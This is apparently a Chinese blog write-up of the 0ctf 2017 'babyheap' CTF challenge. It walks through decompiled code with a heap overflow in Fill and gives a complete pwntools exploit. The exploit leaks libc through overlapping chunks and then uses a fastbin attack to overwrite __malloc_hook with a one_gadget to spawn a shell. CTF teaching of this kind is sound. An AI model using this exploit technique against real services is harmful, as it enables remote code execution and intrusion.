得到一个题目我们首先要查看程序开启的保护:

保护全开,这里我已经替换过程序的libc和ld文件了,具体实现方法是给程序打patch,这里用的是patchelf这个工具,如果题目提供了libc文件,可以用 strings libc.so.6 | grep ubuntu 先查看正确的Ubuntu版本,然后在glibc-all-in-one中下载正确的libc文件,打patch的过程我更推荐用下面的命令:
更换链接器:
patchelf --set-interpreter /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so ./babyheap
更换glibc搜索路径:
patchelf --set-rpath /home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 ./babyheap


想了想,还是尽量详细点把这题讲出来吧,毕竟我也是一个初学者,讲一遍也能帮我加深对heap的理解。
首先我们看一下main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
menu();
switch ( sub_138C() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
循环打印菜单,switch里对sub_138C()读入的数据进行判断,然后分别进入不同的分支。
Allocate函数
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int v2; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i ) //最多创建16个堆
{
if ( !*(_DWORD *)(24LL * i + a1) ) //检查in_use是否为1
{
printf("Size: ");
v2 = sub_138C();
if ( v2 > 0 )
{
if ( v2 > 4096 )
v2 = 4096;
v3 = calloc(v2, 1uLL); //使用calloc创建堆,并用0进行填充
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; //结构体的第一部分,in_use判断这个结构体是否被分配
*(_QWORD *)(a1 + 24LL * i + 8) = v2; //堆的size
*(_QWORD *)(a1 + 24LL * i + 16) = v3; //堆的地址,指向data
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}
Fill函数(有堆溢出漏洞)
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = sub_138C();
v2 = result;
if ( (unsigned int)result <= 0xF )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = sub_138C(); //读入size
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3); //读入v3大小的数据,造成堆溢出
}
}
}
return result;
}
Free和Dump就是简单的释放堆和打印堆,这里没有uaf漏洞

下面贴一下exp:
from os import execve
from pwn import *
#from LibcSearcher import *
#context(os ="linux",arch= "amd64",log_level = "debug")
#io = process("babyheap")
io = remote("192.168.157.130",9999)
#io.interactive()
def alloc(size):
io.sendlineafter("Command: ",'1')
io.sendlineafter("Size: ",str(size))
def fill(index,content):
io.sendlineafter("Command: ",'2')
io.sendlineafter("Index: ",str(index))
io.sendlineafter("Size: ",str(len(content)))
io.sendlineafter("Content: ",content)
def free(index):
io.sendlineafter("Command: ",'3')
io.sendlineafter("Index: ",str(index))
def dump(index):
io.sendlineafter("Command: ",'4')
io.sendlineafter("Index: ",str(index))
alloc(0x80)#0
alloc(0x80)#1
alloc(0x80)#2
alloc(0x80)#3
#pause()
# ---------------- leak libc --------------------------------
free(1)
fill(0,b'a'*(0x80+8)+p64(0x120+1))
alloc(0x110) #1
fill(1,b'a'*(0x80+8)+p64(0x90+1))
free(2)
dump(1)
#---------------------- get libc base----------------------
io.recv(0x90+0xa)
# 这样也可以泄露,但是不知道为什么跑不通
# alloc(0x80)#0
# alloc(0x80)#1
# alloc(0x80)#2
# alloc(0x80)#3
# fill(0,b'a'*(0x80+8)+p64(0x120+1))
# free(1)
# alloc(0x80)#1
# dump(2)
main_arena_88_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success("Main_arean_addr:===================>{}".format(hex(main_arena_88_addr)))
malloc_hook_addr = main_arena_88_addr - 88 -0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
#libc = ELF("libc.so") #与下面的execve_offset相对应
#libc = ELF("/home/always/Libc/libc-2.23.so")
libc_base = malloc_hook_addr - 0x3c4b10
log.success("libc_base_addr :======================>{}".format(hex(libc_base)))
execve_offset = 0x4527a #通过one_gadget 获得,每个libc都不一样
execve_addr = libc_base + execve_offset
log.success("execve_addr: =============================>{}".format(hex(execve_addr)))
#---------------- get libc base end -------------------------------
#------------------- fast bin attack ----------------------------------------
alloc(0x80) #2
alloc(0x60) #4
alloc(0x60) #5
free(5)
fill(4,b"a"*(0x60 +8) + p64(0x70 + 1)+p64(fake_small_bin_addr))
#pause()
alloc(0x60) #5
alloc(0x60) #6
fill(6,b"a"*0x13 + p64(execve_addr))
#pause()
alloc(0x1)
io.interactive()
这里的execve_offset是通过one_gadget得到的
本地打不通可能是内核的问题,换用Ubuntu 16.04就好了
声明:
本文采用
BY-NC-SA
协议进行授权,如无注明均为原创,转载请注明转自
CyFin | Blog
本文地址: babyheap_0ctf_2017
本文地址: babyheap_0ctf_2017